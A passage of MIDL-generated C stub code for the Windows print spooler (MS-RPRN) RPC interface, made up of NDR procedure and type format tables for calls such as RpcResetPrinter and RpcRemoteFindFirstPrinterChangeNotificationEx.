*/ NdrFcShort( 0x0 ), /* 0 */ 1451 | 1452 | /* Return value */ 1453 | 1454 | /* 1732 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1455 | /* 1734 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1456 | /* 1736 */ 0x8, /* FC_LONG */ 1457 | 0x0, /* 0 */ 1458 | 1459 | /* Procedure RpcDeletePrintProcessor */ 1460 | 1461 | /* 1738 */ 0x0, /* 0 */ 1462 | 0x48, /* Old Flags: */ 1463 | /* 1740 */ NdrFcLong( 0x0 ), /* 0 */ 1464 | /* 1744 */ NdrFcShort( 0x30 ), /* 48 */ 1465 | /* 1746 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 1466 | /* 1748 */ 0x32, /* FC_BIND_PRIMITIVE */ 1467 | 0x0, /* 0 */ 1468 | /* 1750 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1469 | /* 1752 */ NdrFcShort( 0x0 ), /* 0 */ 1470 | /* 1754 */ NdrFcShort( 0x8 ), /* 8 */ 1471 | /* 1756 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1472 | 0x1, /* 1 */ 1473 | /* 1758 */ 0xa, /* 10 */ 1474 | 0x1, /* Ext Flags: new corr desc, */ 1475 | /* 1760 */ NdrFcShort( 0x0 ), /* 0 */ 1476 | /* 1762 */ NdrFcShort( 0x0 ), /* 0 */ 1477 | /* 1764 */ NdrFcShort( 0x0 ), /* 0 */ 1478 | /* 1766 */ NdrFcShort( 0x0 ), /* 0 */ 1479 | 1480 | /* Return value */ 1481 | 1482 | /* 1768 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1483 | /* 1770 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1484 | /* 1772 */ 0x8, /* FC_LONG */ 1485 | 0x0, /* 0 */ 1486 | 1487 | /* Procedure Opnum49NotUsedOnWire */ 1488 | 1489 | /* 1774 */ 0x0, /* 0 */ 1490 | 0x48, /* Old Flags: */ 1491 | /* 1776 */ NdrFcLong( 0x0 ), /* 0 */ 1492 | /* 1780 */ NdrFcShort( 0x31 ), /* 49 */ 1493 | /* 1782 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1494 | /* 1784 */ 0x32, /* FC_BIND_PRIMITIVE */ 1495 | 0x0, /* 0 */ 1496 | /* 1786 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1497 | /* 1788 */ NdrFcShort( 0x0 ), /* 0 */ 1498 | /* 1790 */ NdrFcShort( 0x0 ), /* 0 */ 1499 | /* 1792 */ 0x40, /* Oi2 Flags: has ext, */ 1500 | 0x0, /* 0 */ 1501 | /* 1794 */ 0xa, /* 10 */ 1502 | 0x1, /* Ext Flags: new corr desc, */ 1503 | /* 1796 */ NdrFcShort( 0x0 ), /* 0 */ 1504 | /* 1798 */ NdrFcShort( 0x0 ), /* 0 */ 1505 | /* 1800 */ NdrFcShort( 0x0 ), /* 0 */ 1506 | /* 1802 */ NdrFcShort( 0x0 ), /* 0 */ 1507 | 1508 | /* Procedure Opnum50NotUsedOnWire */ 1509 | 1510 | /* 1804 */ 0x0, /* 0 */ 1511 | 0x48, /* Old Flags: */ 1512 | /* 1806 */ NdrFcLong( 0x0 ), /* 0 */ 1513 | /* 1810 */ NdrFcShort( 0x32 ), /* 50 */ 1514 | /* 1812 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1515 | /* 1814 */ 0x32, /* FC_BIND_PRIMITIVE */ 1516 | 0x0, /* 0 */ 1517 | /* 1816 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1518 | /* 1818 */ NdrFcShort( 0x0 ), /* 0 */ 1519 | /* 1820 */ NdrFcShort( 0x0 ), /* 0 */ 1520 | /* 1822 */ 0x40, /* Oi2 Flags: has ext, */ 1521 | 0x0, /* 0 */ 1522 | /* 1824 */ 0xa, /* 10 */ 1523 | 0x1, /* Ext Flags: new corr desc, */ 1524 | /* 1826 */ NdrFcShort( 0x0 ), /* 0 */ 1525 | /* 1828 */ NdrFcShort( 0x0 ), /* 0 */ 1526 | /* 1830 */ NdrFcShort( 0x0 ), /* 0 */ 1527 | /* 1832 */ NdrFcShort( 0x0 ), /* 0 */ 1528 | 1529 | /* Procedure RpcEnumPrintProcessorDatatypes */ 1530 | 1531 | /* 1834 */ 0x0, /* 0 */ 1532 | 0x48, /* Old Flags: */ 1533 | /* 1836 */ NdrFcLong( 0x0 ), /* 0 */ 1534 | /* 1840 */ NdrFcShort( 0x33 ), /* 51 */ 1535 | /* 1842 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 1536 | /* 1844 */ 0x32, /* FC_BIND_PRIMITIVE */ 1537 | 0x0, /* 0 */ 1538 | /* 1846 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1539 | /* 1848 */ NdrFcShort( 0x0 ), /* 0 */ 1540 | /* 1850 */ NdrFcShort( 0x8 ), /* 8 */ 1541 | /* 1852 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1542 | 0x1, /* 1 */ 1543 | /* 1854 */ 0xa, /* 10 */ 1544 | 0x1, /* Ext Flags: new corr desc, */ 1545 | /* 1856 */ NdrFcShort( 0x0 ), /* 0 */ 1546 | /* 1858 */ NdrFcShort( 0x0 ), /* 0 */ 1547 | /* 1860 */ NdrFcShort( 0x0 ), /* 0 */ 1548 | /* 1862 */ NdrFcShort( 0x0 ), /* 0 */ 1549 | 1550 | /* Return value */ 1551 | 1552 | /* 1864 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1553 | /* 1866 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1554 | /* 1868 */ 0x8, /* FC_LONG */ 1555 | 0x0, /* 0 */ 1556 | 1557 | /* Procedure RpcResetPrinter */ 1558 | 1559 | /* 1870 */ 0x0, /* 0 */ 1560 | 0x48, /* Old Flags: */ 1561 | /* 1872 */ NdrFcLong( 0x0 ), /* 0 */ 1562 | /* 1876 */ NdrFcShort( 0x34 ), /* 52 */ 1563 | /* 1878 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 1564 | /* 1880 */ 0x32, /* FC_BIND_PRIMITIVE */ 1565 | 0x0, /* 0 */ 1566 | /* 1882 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1567 | /* 1884 */ NdrFcShort( 0x0 ), /* 0 */ 1568 | /* 1886 */ NdrFcShort( 0x8 ), /* 8 */ 1569 | /* 1888 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1570 | 0x1, /* 1 */ 1571 | /* 1890 */ 0xa, /* 10 */ 1572 | 0x1, /* Ext Flags: new corr desc, */ 1573 | /* 1892 */ NdrFcShort( 0x0 ), /* 0 */ 1574 | /* 1894 */ NdrFcShort( 0x0 ), /* 0 */ 1575 | /* 1896 */ NdrFcShort( 0x0 ), /* 0 */ 1576 | /* 1898 */ NdrFcShort( 0x0 ), /* 0 */ 1577 | 1578 | /* Return value */ 1579 | 1580 | /* 1900 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1581 | /* 1902 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1582 | /* 1904 */ 0x8, /* FC_LONG */ 1583 | 0x0, /* 0 */ 1584 | 1585 | /* Procedure RpcGetPrinterDriver2 */ 1586 | 1587 | /* 1906 */ 0x0, /* 0 */ 1588 | 0x48, /* Old Flags: */ 1589 | /* 1908 */ NdrFcLong( 0x0 ), /* 0 */ 1590 | /* 1912 */ NdrFcShort( 0x35 ), /* 53 */ 1591 | /* 1914 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 1592 | /* 1916 */ 0x32, /* FC_BIND_PRIMITIVE */ 1593 | 0x0, /* 0 */ 1594 | /* 1918 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1595 | /* 1920 */ NdrFcShort( 0x0 ), /* 0 */ 1596 | /* 1922 */ NdrFcShort( 0x8 ), /* 8 */ 1597 | /* 1924 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1598 | 0x1, /* 1 */ 1599 | /* 1926 */ 0xa, /* 10 */ 1600 | 0x1, /* Ext Flags: new corr desc, */ 1601 | /* 1928 */ NdrFcShort( 0x0 ), /* 0 */ 1602 | /* 1930 */ NdrFcShort( 0x0 ), /* 0 */ 1603 | /* 1932 */ NdrFcShort( 0x0 ), /* 0 */ 1604 | /* 1934 */ NdrFcShort( 0x0 ), /* 0 */ 1605 | 1606 | /* Return value */ 1607 | 1608 | /* 1936 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1609 | /* 1938 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1610 | /* 1940 */ 0x8, /* FC_LONG */ 1611 | 0x0, /* 0 */ 1612 | 1613 | /* Procedure Opnum54NotUsedOnWire */ 1614 | 1615 | /* 1942 */ 0x0, /* 0 */ 1616 | 0x48, /* Old Flags: */ 1617 | /* 1944 */ NdrFcLong( 0x0 ), /* 0 */ 1618 | /* 1948 */ NdrFcShort( 0x36 ), /* 54 */ 1619 | /* 1950 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1620 | /* 1952 */ 0x32, /* FC_BIND_PRIMITIVE */ 1621 | 0x0, /* 0 */ 1622 | /* 1954 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1623 | /* 1956 */ NdrFcShort( 0x0 ), /* 0 */ 1624 | /* 1958 */ NdrFcShort( 0x0 ), /* 0 */ 1625 | /* 1960 */ 0x40, /* Oi2 Flags: has ext, */ 1626 | 0x0, /* 0 */ 1627 | /* 1962 */ 0xa, /* 10 */ 1628 | 0x1, /* Ext Flags: new corr desc, */ 1629 | /* 1964 */ NdrFcShort( 0x0 ), /* 0 */ 1630 | /* 1966 */ NdrFcShort( 0x0 ), /* 0 */ 1631 | /* 1968 */ NdrFcShort( 0x0 ), /* 0 */ 1632 | /* 1970 */ NdrFcShort( 0x0 ), /* 0 */ 1633 | 1634 | /* Procedure Opnum55NotUsedOnWire */ 1635 | 1636 | /* 1972 */ 0x0, /* 0 */ 1637 | 0x48, /* Old Flags: */ 1638 | /* 1974 */ NdrFcLong( 0x0 ), /* 0 */ 1639 | /* 1978 */ NdrFcShort( 0x37 ), /* 55 */ 1640 | /* 1980 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1641 | /* 1982 */ 0x32, /* FC_BIND_PRIMITIVE */ 1642 | 0x0, /* 0 */ 1643 | /* 1984 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1644 | /* 1986 */ NdrFcShort( 0x0 ), /* 0 */ 1645 | /* 1988 */ NdrFcShort( 0x0 ), /* 0 */ 1646 | /* 1990 */ 0x40, /* Oi2 Flags: has ext, */ 1647 | 0x0, /* 0 */ 1648 | /* 1992 */ 0xa, /* 10 */ 1649 | 0x1, /* Ext Flags: new corr desc, */ 1650 | /* 1994 */ NdrFcShort( 0x0 ), /* 0 */ 1651 | /* 1996 */ NdrFcShort( 0x0 ), /* 0 */ 1652 | /* 1998 */ NdrFcShort( 0x0 ), /* 0 */ 1653 | /* 2000 */ NdrFcShort( 0x0 ), /* 0 */ 1654 | 1655 | /* Procedure RpcFindClosePrinterChangeNotification */ 1656 | 1657 | /* 2002 */ 0x0, /* 0 */ 1658 | 0x48, /* Old Flags: */ 1659 | /* 2004 */ NdrFcLong( 0x0 ), /* 0 */ 1660 | /* 2008 */ NdrFcShort( 0x38 ), /* 56 */ 1661 | /* 2010 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 1662 | /* 2012 */ 0x32, /* FC_BIND_PRIMITIVE */ 1663 | 0x0, /* 0 */ 1664 | /* 2014 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1665 | /* 2016 */ NdrFcShort( 0x0 ), /* 0 */ 1666 | /* 2018 */ NdrFcShort( 0x8 ), /* 8 */ 1667 | /* 2020 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1668 | 0x1, /* 1 */ 1669 | /* 2022 */ 0xa, /* 10 */ 1670 | 0x1, /* Ext Flags: new corr desc, */ 1671 | /* 2024 */ NdrFcShort( 0x0 ), /* 0 */ 1672 | /* 2026 */ NdrFcShort( 0x0 ), /* 0 */ 1673 | /* 2028 */ NdrFcShort( 0x0 ), /* 0 */ 1674 | /* 2030 */ NdrFcShort( 0x0 ), /* 0 */ 1675 | 1676 | /* Return value */ 1677 | 1678 | /* 2032 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1679 | /* 2034 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1680 | /* 2036 */ 0x8, /* FC_LONG */ 1681 | 0x0, /* 0 */ 1682 | 1683 | /* Procedure Opnum57NotUsedOnWire */ 1684 | 1685 | /* 2038 */ 0x0, /* 0 */ 1686 | 0x48, /* Old Flags: */ 1687 | /* 2040 */ NdrFcLong( 0x0 ), /* 0 */ 1688 | /* 2044 */ NdrFcShort( 0x39 ), /* 57 */ 1689 | /* 2046 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1690 | /* 2048 */ 0x32, /* FC_BIND_PRIMITIVE */ 1691 | 0x0, /* 0 */ 1692 | /* 2050 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1693 | /* 2052 */ NdrFcShort( 0x0 ), /* 0 */ 1694 | /* 2054 */ NdrFcShort( 0x0 ), /* 0 */ 1695 | /* 2056 */ 0x40, /* Oi2 Flags: has ext, */ 1696 | 0x0, /* 0 */ 1697 | /* 2058 */ 0xa, /* 10 */ 1698 | 0x1, /* Ext Flags: new corr desc, */ 1699 | /* 2060 */ NdrFcShort( 0x0 ), /* 0 */ 1700 | /* 2062 */ NdrFcShort( 0x0 ), /* 0 */ 1701 | /* 2064 */ NdrFcShort( 0x0 ), /* 0 */ 1702 | /* 2066 */ NdrFcShort( 0x0 ), /* 0 */ 1703 | 1704 | /* Procedure RpcReplyOpenPrinter */ 1705 | 1706 | /* 2068 */ 0x0, /* 0 */ 1707 | 0x48, /* Old Flags: */ 1708 | /* 2070 */ NdrFcLong( 0x0 ), /* 0 */ 1709 | /* 2074 */ NdrFcShort( 0x3a ), /* 58 */ 1710 | /* 2076 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 1711 | /* 2078 */ 0x32, /* FC_BIND_PRIMITIVE */ 1712 | 0x0, /* 0 */ 1713 | /* 2080 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1714 | /* 2082 */ NdrFcShort( 0x0 ), /* 0 */ 1715 | /* 2084 */ NdrFcShort( 0x8 ), /* 8 */ 1716 | /* 2086 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1717 | 0x1, /* 1 */ 1718 | /* 2088 */ 0xa, /* 10 */ 1719 | 0x1, /* Ext Flags: new corr desc, */ 1720 | /* 2090 */ NdrFcShort( 0x0 ), /* 0 */ 1721 | /* 2092 */ NdrFcShort( 0x0 ), /* 0 */ 1722 | /* 2094 */ NdrFcShort( 0x0 ), /* 0 */ 1723 | /* 2096 */ NdrFcShort( 0x0 ), /* 0 */ 1724 | 1725 | /* Return value */ 1726 | 1727 | /* 2098 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1728 | /* 2100 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1729 | /* 2102 */ 0x8, /* FC_LONG */ 1730 | 0x0, /* 0 */ 1731 | 1732 | /* Procedure RpcRouterReplyPrinter */ 1733 | 1734 | /* 2104 */ 0x0, /* 0 */ 1735 | 0x48, /* Old Flags: */ 1736 | /* 2106 */ NdrFcLong( 0x0 ), /* 0 */ 1737 | /* 2110 */ NdrFcShort( 0x3b ), /* 59 */ 1738 | /* 2112 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 1739 | /* 2114 */ 0x32, /* FC_BIND_PRIMITIVE */ 1740 | 0x0, /* 0 */ 1741 | /* 2116 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1742 | /* 2118 */ NdrFcShort( 0x0 ), /* 0 */ 1743 | /* 2120 */ NdrFcShort( 0x8 ), /* 8 */ 1744 | /* 2122 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1745 | 0x1, /* 1 */ 1746 | /* 2124 */ 0xa, /* 10 */ 1747 | 0x1, /* Ext Flags: new corr desc, */ 1748 | /* 2126 */ NdrFcShort( 0x0 ), /* 0 */ 1749 | /* 2128 */ NdrFcShort( 0x0 ), /* 0 */ 1750 | /* 2130 */ NdrFcShort( 0x0 ), /* 0 */ 1751 | /* 2132 */ NdrFcShort( 0x0 ), /* 0 */ 1752 | 1753 | /* Return value */ 1754 | 1755 | /* 2134 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1756 | /* 2136 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1757 | /* 2138 */ 0x8, /* FC_LONG */ 1758 | 0x0, /* 0 */ 1759 | 1760 | /* Procedure RpcReplyClosePrinter */ 1761 | 1762 | /* 2140 */ 0x0, /* 0 */ 1763 | 0x48, /* Old Flags: */ 1764 | /* 2142 */ NdrFcLong( 0x0 ), /* 0 */ 1765 | /* 2146 */ NdrFcShort( 0x3c ), /* 60 */ 1766 | /* 2148 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 1767 | /* 2150 */ 0x32, /* FC_BIND_PRIMITIVE */ 1768 | 0x0, /* 0 */ 1769 | /* 2152 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1770 | /* 2154 */ NdrFcShort( 0x0 ), /* 0 */ 1771 | /* 2156 */ NdrFcShort( 0x8 ), /* 8 */ 1772 | /* 2158 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1773 | 0x1, /* 1 */ 1774 | /* 2160 */ 0xa, /* 10 */ 1775 | 0x1, /* Ext Flags: new corr desc, */ 1776 | /* 2162 */ NdrFcShort( 0x0 ), /* 0 */ 1777 | /* 2164 */ NdrFcShort( 0x0 ), /* 0 */ 1778 | /* 2166 */ NdrFcShort( 0x0 ), /* 0 */ 1779 | /* 2168 */ NdrFcShort( 0x0 ), /* 0 */ 1780 | 1781 | /* Return value */ 1782 | 1783 | /* 2170 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1784 | /* 2172 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1785 | /* 2174 */ 0x8, /* FC_LONG */ 1786 | 0x0, /* 0 */ 1787 | 1788 | /* Procedure RpcAddPortEx */ 1789 | 1790 | /* 2176 */ 0x0, /* 0 */ 1791 | 0x48, /* Old Flags: */ 1792 | /* 2178 */ NdrFcLong( 0x0 ), /* 0 */ 1793 | /* 2182 */ NdrFcShort( 0x3d ), /* 61 */ 1794 | /* 2184 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 1795 | /* 2186 */ 0x32, /* FC_BIND_PRIMITIVE */ 1796 | 0x0, /* 0 */ 1797 | /* 2188 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1798 | /* 2190 */ NdrFcShort( 0x0 ), /* 0 */ 1799 | /* 2192 */ NdrFcShort( 0x8 ), /* 8 */ 1800 | /* 2194 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1801 | 0x1, /* 1 */ 1802 | /* 2196 */ 0xa, /* 10 */ 1803 | 0x1, /* Ext Flags: new corr desc, */ 1804 | /* 2198 */ NdrFcShort( 0x0 ), /* 0 */ 1805 | /* 2200 */ NdrFcShort( 0x0 ), /* 0 */ 1806 | /* 2202 */ NdrFcShort( 0x0 ), /* 0 */ 1807 | /* 2204 */ NdrFcShort( 0x0 ), /* 0 */ 1808 | 1809 | /* Return value */ 1810 | 1811 | /* 2206 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1812 | /* 2208 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1813 | /* 2210 */ 0x8, /* FC_LONG */ 1814 | 0x0, /* 0 */ 1815 | 1816 | /* Procedure RpcRemoteFindFirstPrinterChangeNotification */ 1817 | 1818 | /* 2212 */ 0x0, /* 0 */ 1819 | 0x48, /* Old Flags: */ 1820 | /* 2214 */ NdrFcLong( 0x0 ), /* 0 */ 1821 | /* 2218 */ NdrFcShort( 0x3e ), /* 62 */ 1822 | /* 2220 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 1823 | /* 2222 */ 0x32, /* FC_BIND_PRIMITIVE */ 1824 | 0x0, /* 0 */ 1825 | /* 2224 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1826 | /* 2226 */ NdrFcShort( 0x0 ), /* 0 */ 1827 | /* 2228 */ NdrFcShort( 0x8 ), /* 8 */ 1828 | /* 2230 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1829 | 0x1, /* 1 */ 1830 | /* 2232 */ 0xa, /* 10 */ 1831 | 0x1, /* Ext Flags: new corr desc, */ 1832 | /* 2234 */ NdrFcShort( 0x0 ), /* 0 */ 1833 | /* 2236 */ NdrFcShort( 0x0 ), /* 0 */ 1834 | /* 2238 */ NdrFcShort( 0x0 ), /* 0 */ 1835 | /* 2240 */ NdrFcShort( 0x0 ), /* 0 */ 1836 | 1837 | /* Return value */ 1838 | 1839 | /* 2242 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1840 | /* 2244 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1841 | /* 2246 */ 0x8, /* FC_LONG */ 1842 | 0x0, /* 0 */ 1843 | 1844 | /* Procedure Opnum63NotUsedOnWire */ 1845 | 1846 | /* 2248 */ 0x0, /* 0 */ 1847 | 0x48, /* Old Flags: */ 1848 | /* 2250 */ NdrFcLong( 0x0 ), /* 0 */ 1849 | /* 2254 */ NdrFcShort( 0x3f ), /* 63 */ 1850 | /* 2256 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1851 | /* 2258 */ 0x32, /* FC_BIND_PRIMITIVE */ 1852 | 0x0, /* 0 */ 1853 | /* 2260 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1854 | /* 2262 */ NdrFcShort( 0x0 ), /* 0 */ 1855 | /* 2264 */ NdrFcShort( 0x0 ), /* 0 */ 1856 | /* 2266 */ 0x40, /* Oi2 Flags: has ext, */ 1857 | 0x0, /* 0 */ 1858 | /* 2268 */ 0xa, /* 10 */ 1859 | 0x1, /* Ext Flags: new corr desc, */ 1860 | /* 2270 */ NdrFcShort( 0x0 ), /* 0 */ 1861 | /* 2272 */ NdrFcShort( 0x0 ), /* 0 */ 1862 | /* 2274 */ NdrFcShort( 0x0 ), /* 0 */ 1863 | /* 2276 */ NdrFcShort( 0x0 ), /* 0 */ 1864 | 1865 | /* Procedure Opnum64NotUsedOnWire */ 1866 | 1867 | /* 2278 */ 0x0, /* 0 */ 1868 | 0x48, /* Old Flags: */ 1869 | /* 2280 */ NdrFcLong( 0x0 ), /* 0 */ 1870 | /* 2284 */ NdrFcShort( 0x40 ), /* 64 */ 1871 | /* 2286 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1872 | /* 2288 */ 0x32, /* FC_BIND_PRIMITIVE */ 1873 | 0x0, /* 0 */ 1874 | /* 2290 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1875 | /* 2292 */ NdrFcShort( 0x0 ), /* 0 */ 1876 | /* 2294 */ NdrFcShort( 0x0 ), /* 0 */ 1877 | /* 2296 */ 0x40, /* Oi2 Flags: has ext, */ 1878 | 0x0, /* 0 */ 1879 | /* 2298 */ 0xa, /* 10 */ 1880 | 0x1, /* Ext Flags: new corr desc, */ 1881 | /* 2300 */ NdrFcShort( 0x0 ), /* 0 */ 1882 | /* 2302 */ NdrFcShort( 0x0 ), /* 0 */ 1883 | /* 2304 */ NdrFcShort( 0x0 ), /* 0 */ 1884 | /* 2306 */ NdrFcShort( 0x0 ), /* 0 */ 1885 | 1886 | /* Procedure RpcRemoteFindFirstPrinterChangeNotificationEx */ 1887 | 1888 | /* 2308 */ 0x0, /* 0 */ 1889 | 0x48, /* Old Flags: */ 1890 | /* 2310 */ NdrFcLong( 0x0 ), /* 0 */ 1891 | /* 2314 */ NdrFcShort( 0x41 ), /* 65 */ 1892 | /* 2316 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ 1893 | /* 2318 */ 0x30, /* FC_BIND_CONTEXT */ 1894 | 0x40, /* Ctxt flags: in, */ 1895 | /* 2320 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1896 | /* 2322 */ 0x0, /* 0 */ 1897 | 0x0, /* 0 */ 1898 | /* 2324 */ NdrFcShort( 0x3c ), /* 60 */ 1899 | /* 2326 */ NdrFcShort( 0x8 ), /* 8 */ 1900 | /* 2328 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ 1901 | 0x7, /* 7 */ 1902 | /* 2330 */ 0xa, /* 10 */ 1903 | 0x5, /* Ext Flags: new corr desc, srv corr check, */ 1904 | /* 2332 */ NdrFcShort( 0x0 ), /* 0 */ 1905 | /* 2334 */ NdrFcShort( 0x1 ), /* 1 */ 1906 | /* 2336 */ NdrFcShort( 0x0 ), /* 0 */ 1907 | /* 2338 */ NdrFcShort( 0x0 ), /* 0 */ 1908 | 1909 | /* Parameter hPrinter */ 1910 | 1911 | /* 2340 */ NdrFcShort( 0x8 ), /* Flags: in, */ 1912 | /* 2342 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1913 | /* 2344 */ NdrFcShort( 0x36 ), /* Type Offset=54 */ 1914 | 1915 | /* Parameter fdwFlags */ 1916 | 1917 | /* 2346 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 1918 | /* 2348 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1919 | /* 2350 */ 0x8, /* FC_LONG */ 1920 | 0x0, /* 0 */ 1921 | 1922 | /* Parameter fdwOptions */ 1923 | 1924 | /* 2352 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 1925 | /* 2354 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 1926 | /* 2356 */ 0x8, /* FC_LONG */ 1927 | 0x0, /* 0 */ 1928 | 1929 | /* Parameter pszLocalMachine */ 1930 | 1931 | /* 2358 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ 1932 | /* 2360 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ 1933 | /* 2362 */ NdrFcShort( 0x2 ), /* Type Offset=2 */ 1934 | 1935 | /* Parameter dwPrinterLocal */ 1936 | 1937 | /* 2364 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 1938 | /* 2366 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ 1939 | /* 2368 */ 0x8, /* FC_LONG */ 1940 | 0x0, /* 0 */ 1941 | 1942 | /* Parameter pOptions */ 1943 | 1944 | /* 2370 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ 1945 | /* 2372 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ 1946 | /* 2374 */ NdrFcShort( 0x3a ), /* Type Offset=58 */ 1947 | 1948 | /* Return value */ 1949 | 1950 | /* 2376 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1951 | /* 2378 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ 1952 | /* 2380 */ 0x8, /* FC_LONG */ 1953 | 0x0, /* 0 */ 1954 | 1955 | 0x0 1956 | } 1957 | }; 1958 | 1959 | static const ms2Drprn_MIDL_TYPE_FORMAT_STRING ms2Drprn__MIDL_TypeFormatString = 1960 | { 1961 | 0, 1962 | { 1963 | NdrFcShort( 0x0 ), /* 0 */ 1964 | /* 2 */ 1965 | 0x12, 0x8, /* FC_UP [simple_pointer] */ 1966 | /* 4 */ 1967 | 0x25, /* FC_C_WSTRING */ 1968 | 0x5c, /* FC_PAD */ 1969 | /* 6 */ 1970 | 0x11, 0x4, /* FC_RP [alloced_on_stack] */ 1971 | /* 8 */ NdrFcShort( 0x2 ), /* Offset= 2 (10) */ 1972 | /* 10 */ 0x30, /* FC_BIND_CONTEXT */ 1973 | 0xa0, /* Ctxt flags: via ptr, out, */ 1974 | /* 12 */ 0x0, /* 0 */ 1975 | 0x0, /* 0 */ 1976 | /* 14 */ 1977 | 0x11, 0x0, /* FC_RP */ 1978 | /* 16 */ NdrFcShort( 0xe ), /* Offset= 14 (30) */ 1979 | /* 18 */ 1980 | 0x1b, /* FC_CARRAY */ 1981 | 0x0, /* 0 */ 1982 | /* 20 */ NdrFcShort( 0x1 ), /* 1 */ 1983 | /* 22 */ 0x19, /* Corr desc: field pointer, FC_ULONG */ 1984 | 0x0, /* */ 1985 | /* 24 */ NdrFcShort( 0x0 ), /* 0 */ 1986 | /* 26 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ 1987 | /* 28 */ 0x1, /* FC_BYTE */ 1988 | 0x5b, /* FC_END */ 1989 | /* 30 */ 1990 | 0x1a, /* FC_BOGUS_STRUCT */ 1991 | 0x3, /* 3 */ 1992 | /* 32 */ NdrFcShort( 0x10 ), /* 16 */ 1993 | /* 34 */ NdrFcShort( 0x0 ), /* 0 */ 1994 | /* 36 */ NdrFcShort( 0x6 ), /* Offset= 6 (42) */ 1995 | /* 38 */ 0x8, /* FC_LONG */ 1996 | 0x40, /* FC_STRUCTPAD4 */ 1997 | /* 40 */ 0x36, /* FC_POINTER */ 1998 | 0x5b, /* FC_END */ 